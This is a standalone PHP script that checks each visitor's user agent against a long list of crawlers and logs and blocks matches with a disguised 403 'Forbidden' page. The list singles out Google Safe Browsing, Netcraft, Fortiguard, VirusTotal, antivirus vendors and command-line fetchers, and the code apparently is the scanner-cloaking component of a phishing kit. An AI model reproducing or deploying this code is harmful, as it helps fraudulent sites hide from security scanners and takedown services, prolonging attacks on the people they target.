<?php

$Bot = array(
 'Googlebot',
'bot',
'Bot',
'Amazonaws',
'Google',
'safebrowsing',
'googlesafebrowing',
'Fortiguard',
'Baiduspider',
'ia_archiver',
'NetcraftSurveyAgent',
'Sogouwebspider',
'bingbot',
'Yahoo!Slurp',
'facebookexternalhit',
'PrintfulBot',
'msnbot',
'Twitterbot',
'UnwindFetchor',
'urlresolver',
'Butterfly',
'TweetmemeBot',
'PaperLiBot',
'MJ12bot',
'AhrefsBot',
'MicrosoftCorporation',
'Exabot',
'Ezooms',
'YandexBot',
'SearchmetricsBot',
'picsearch',
'TweetedTimesBot',
'QuerySeekerSpider',
'ShowyouBot',
'woriobot',
'merlinkbot',
'BazQuxBot',
'Kraken',
'SISTRIXCrawler',
'R6_CommentReader',
'magpie-crawler',
'GrapeshotCrawler',
'PercolateCrawler',
'MaxPointCrawler',
'R6_FeedFetcher',
'NetSeercrawler',
'grokkit-crawler',
'SMXCrawler',
'PulseCrawler',
'Y!J-BRW',
'80legs.com/webcrawler',
'Mediapartners-Google',
'Spinn3r',
'InAGist',
'Python-urllib',
'NING',
'TencentTraveler',
'Feedfetcher-Google',
'mon.itor.us',
'spbot',
'Feedly',
'bitlybot',
'ADmantXPlatform',
'Niki-Bot',
'Pinterest',
'python-requests',
'DotBot',
'HTTP_Request2',
'linkdexbot',
'A6-Indexer',
'Baiduspider',
'TwitterFeed',
'MicrosoftOffice',
'Pingdom',
'BTWebClient',
'KatBot',
'SiteCheck',
'proximic',
'Sleuth',
'Abonti',
'(BOTforJCE)',
'Baidu',
'TinyTinyRSS',
'newsblur',
'updown_tester',
'linkdex',
'baidu',
'searchmetrics',
'genieo',
'majestic12',
'spinn3r',
'profound',
'domainappender',
'VegeBot',
'terrykyleseoagency.com',
'CommonCrawlerNode',
'metauri.com',
'libwww-perl',
'rogerbot-crawler',
'MegaIndex.ru',
'Qwantify',
'Traackr.com',
'Re-AnimatorBot',
'Pcore-HTTP',
'BoardReader',
'omgili',
'okhttp',
'CCBot',
'Java/1.8',
'semrush.com',
'feedbot',
'CommonCrawler',
'AdlesseBot',
'MetaURI',
'ibwww-perl',
'rogerbot',
'MegaIndex',
'BLEXBot',
'FlipboardProxy',
'techinfo@ubermetrics-technologies.com',
'trendictionbot',
'Mediatoolkitbot',
'trendiction',
'ubermetrics',
'ScooperBot',
'TrendsmapResolver',
'Nuzzel',
'Go-http-client',
'Applebot',
'LivelapBot',
'GroupHigh',
'SemrushBot',
'ltx71',
'commoncrawl',
'istellabot',
'DomainCrawler',
'cs.daum.net',
'StormCrawler',
'GarlikCrawler',
'TheKnowledgeAI',
'getstream.io/winds',
'YisouSpider',
'archive.org_bot',
'FemtosearchBot',
'360Spider',
'linkfluence.com',
'glutenfreepleasure.com',
'GlutenFreeCrawler',
'YaK/1.0',
'Cliqzbot',
'app.hypefactors.com',
'axios',
'semantic-visions.com',
'webdatastats.com',
'schmorp.de',
'SEOkicks',
'DuckDuckBot',
'ZoominfoBot',
'Mail.RU_Bot',
'OnalyticaBot',
'LingueeBot',
'admantx-adform',
'Buck/2.2',
'Barkrowler',
'Zombiebot',
'Nutch',
'SemanticScholarBot',
'Jetslide',
'scalaj-http',
'XoviBot',
'sysomos.com',
'PocketParser',
'newspaper',
'serpstatbot',
'MetaJobBot',
'SeznamBot/3.2',
'VelenPublicWebCrawler/1.0',
'WordPress.commShots',
'adscanner',
'BacklinkCrawler',
'netEstateNECrawler',
'AstuteSRM',
'GigablastOpenSource/1.0',
'DomainStatsBot',
'Winds:OpenSourceRSS&Podcast',
'dlvr.it',
'BehloolBot',
'7Siters',
'AwarioSmartBot',
'Apache-HttpClient/5',
'SeekportCrawler',
'AHC/2.1',
'eCairn-Grabber',
'mediawordsbot',
'PHP-Curl-Class',
'Scrapy',
'curl/7',
'Blackboard',
'NetNewsWire',
'node-fetch',
'admantx',
'metadataparser',
'DomainsProject',
'SerendeputyBot',
'Moreover',
'DuckDuckGo',
"abot",
"dbot",
"ebot",
"hbot",
"kbot",
"lbot",
"mbot",
"nbot",
"obot",
"pbot",
"rbot",
"sbot",
"tbot",
"vbot",
"ybot",
"zbot",
"bot.",
"bot/",
"_bot",
".bot",
"/bot",
"-bot",
":bot",
"(bot",
"crawl",
"slurp",
"spider",
"seek",
"avg",
"avira",
"bitdefender",
"kaspersky",
"sophos",
"accoona",
"adressendeutschland",
"ah-ha.com",
"ahoy",
"altavista",
"ananzi",
"anthill",
"appie",
"arachnophilia",
"arale",
"araneo",
"aranha",
"architext",
"aretha",
"arks",
"asterias",
"atlocal",
"atn",
"atomz",
"augurfind",
"backrub",
"bannana_bot",
"baypup",
"bdfetch",
"big brother",
"biglotron",
"bjaaland",
"blaiz",
"blog",
"blo.",
"bloodhound",
"boitho",
"booch",
"bradley",
"butterfly",
"calif",
"cassandra",
"ccubee",
"cfetch",
"charlotte",
"churl",
"cienciaficcion",
"cmc",
"collective",
"comagent",
"combine",
"computingsite",
"csci",
"cusco",
"daumoa",
"deepindex",
"delorie",
"depspid",
"deweb",
"die blinde kuh",
"digger",
"ditto",
"dmoz",
"docomo",
"download express",
"dtaagent",
"dwcp",
"ebiness",
"ebingbong",
"e-collector",
"ejupiter",
"emacs-w3 search engine",
"esther",
"evliya celebi",
"ezresult",
"falcon",
"felix ide",
"ferret",
"fetchrover",
"fido",
"findlinks",
"fireball",
"fish search",
"fouineur",
"funnelweb",
"gazz",
"gcreep",
"genieknows",
"getterroboplus",
"geturl",
"glx",
"goforit",
"golem",
"grabber",
"grapnel",
"gralon",
"griffon",
"gromit",
"grub",
"gulliver",
"hamahakki",
"harvest",
"havindex",
"helix",
"heritrix",
"hku www octopus",
"homerweb",
"htdig",
"html index",
"html_analyzer",
"htmlgobble",
"hubater",
"hyper-decontextualizer",
"ibm_planetwide",
"ichiro",
"iconsurf",
"iltrovatore",
"image.kapsi.net",
"imagelock",
"incywincy",
"indexer",
"infobee",
"informant",
"ingrid",
"inktomisearch.com",
"inspector web",
"intelliagent",
"internet shinchakubin",
"ip3000",
"iron33",
"israeli-search",
"ivia",
"jack",
"jakarta",
"javabee",
"jetbot",
"jumpstation",
"katipo",
"kdd-explorer",
"kilroy",
"knowledge",
"kototoi",
"kretrieve",
"labelgrabber",
"lachesis",
"larbin",
"legs",
"libwww",
"linkalarm",
"link validator",
"linkscan",
"lockon",
"lwp",
"lycos",
"magpie",
"mantraagent",
"mapoftheinternet",
"marvin/",
"mediafox",
"mediapartners",
"mercator",
"merzscope",
"microsoft url control",
"minirank",
"miva",
"mnogosearch",
"moget",
"monster",
"moose",
"motor",
"multitext",
"muncher",
"muscatferret",
"mwd.search",
"myweb",
"najdi",
"nameprotect",
"nationaldirectory",
"nazilla",
"ncsa beta",
"nec-meshexplorer",
"nederland.zoek",
"netcarta webmap engine",
"netmechanic",
"netresearchserver",
"NetcraftSurveyAgent",
"netscoop",
"newscan-online",
"nhse",
"nokia6682/",
"nomad",
"noyona",
"siteexplorer",
"nzexplorer",
"objectssearch",
"occam",
"omni",
"open text",
"openfind",
"openintelligencedata",
"orb search",
"osis-project",
"pack rat",
"pageboy",
"pagebull",
"page_verifier",
"panscient",
"parasite",
"partnersite",
"patric",
"pear.",
"pegasus",
"peregrinator",
"pgp key agent",
"phantom",
"phpdig",
"picosearch",
"piltdownman",
"pimptrain",
"pinpoint",
"pioneer",
"piranha",
"plumtreewebaccessor",
"pogodak",
"poirot",
"pompos",
"poppelsdorf",
"poppi",
"popular iconoclast",
"psycheclone",
"publisher",
"rambler",
"raven search",
"roach",
"road runner",
"roadhouse",
"robbie",
"robofox",
"robozilla",
"rules",
"salty",
"sbider",
"scooter",
"scoutjet",
"scrubby",
"search.",
"searchprocess",
"semanticdiscovery",
"senrigan",
"sg-scout",
"shai'hulud",
"shark",
"shopwiki",
"sidewinder",
"sift",
"silk",
"simmany",
"site searcher",
"site valet",
"sitetech-rover",
"skymob.com",
"sleek",
"smartwit",
"sna-",
"snappy",
"snooper",
"sohu",
"speedfind",
"sphere",
"sphider",
"spinner",
"spyder",
"steeler/",
"suke",
"suntek",
"supersnooper",
"surfnomore",
"sven",
"szukacz",
"tach black widow",
"tarantula",
"templeton",
"/teoma",
"t-h-u-n-d-e-r-s-t-o-n-e",
"theophrastus",
"titan",
"titin",
"tkwww",
"toutatis",
"t-rex",
"tutorgig",
"twiceler",
"twisted",
"ucsd",
"udmsearch",
"url check",
"updated",
"vagabondo",
"valkyrie",
"verticrawl",
"victoria",
"vision-search",
"volcano",
"voyager/",
"voyager-hc",
"w3c_validator",
"w3m2",
"w3mir",
"walker",
"wallpaper",
"wanderer",
"wauuu",
"wavefire",
"web core",
"web hopper",
"web wombat",
"webbandit",
"webcatcher",
"webcopy",
"webfoot",
"weblayers",
"weblinker",
"weblog monitor",
"webmirror",
"webmonkey",
"webquest",
"webreaper",
"websitepulse",
"websnarf",
"webstolperer",
"webvac",
"webwalk",
"webwatch",
"webwombat",
"webzinger",
"whizbang",
"whowhere",
"wild ferret",
"worldlight",
"wwwc",
"wwwster",
"xenu",
"xget",
"xift",
"xirq",
"yandex",
"yanga",
"yeti",
"yodao",
"zao/",
"zippp",
"zyborg",
"proximic",
"Googlebot",
"Google",
"Baiduspider",
"Cliqzbot",
"A6-Indexer",
"AhrefsBot",
"Genieo",
"BomboraBot",
"CCBot",
"URLAppendBot",
"DomainAppender",
"msnbot-media",
"Antivirus",
"YoudaoBot",
"MJ12bot",
"linkdexbot",
"Go-http-client",
"BingPreview",
"go-http-client",
"go-http-client/1.1",
"trident",
"presto",
"virustotal",
"unchaos",
"dreampassport",
"sygol",
"nutch",
"privoxy",
"zipcommander",
"neofonie",
"abacho",
"acoi",
"acoon",
"adaxas",
"agada",
"aladin",
"alkaline",
"amibot",
"anonymizer",
"aplix",
"aspseek",
"avant",
"baboom",
"anzwers",
"anzwerscrawl",
"crawlconvera",
"del.icio.us",
"camehttps",
"annotate",
"wapproxy",
"translate",
"feedfetcher",
"ask24",
"asked",
"askaboutoil",
"fangcrawl",
"amzn_assoc",
"bingpreview",
"dr.web",
"drweb",
"bilbo",
"blackwidow",
"sogou",
"sogou-test-spider",
"exabot",
"externalhit",
"ia_archiver",
"mj12",
"okhttp",
"simplepie",
"curl",
"wget",
"virus",
"pipes",
"antivirus",
"python",
"ruby",
"avast",
"firebird",
"scmguard",
"adsbot",
"weblight",
"favicon",
"analytics",
"insights",
"headless",
"github",
"node",
"agusescan",
"zteopen"
);

foreach ($Bot as $BotType) {
      if (stripos($_SERVER['HTTP_USER_AGENT'], $BotType) !== false) {
            $ip = getenv("REMOTE_ADDR");
            $file = fopen("block_bot.txt","a");
            fwrite($file,"  ". $ip." \n");
             $click = fopen("total_bot.txt","a");
            fwrite($click,"$ip (Detect by USERAGENT)"."\n");
            fclose($click);
            header('HTTP/1.0 403 Forbidden');
    die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You dont have permission to access / on this server.</p></body></html>');
            
   }
}

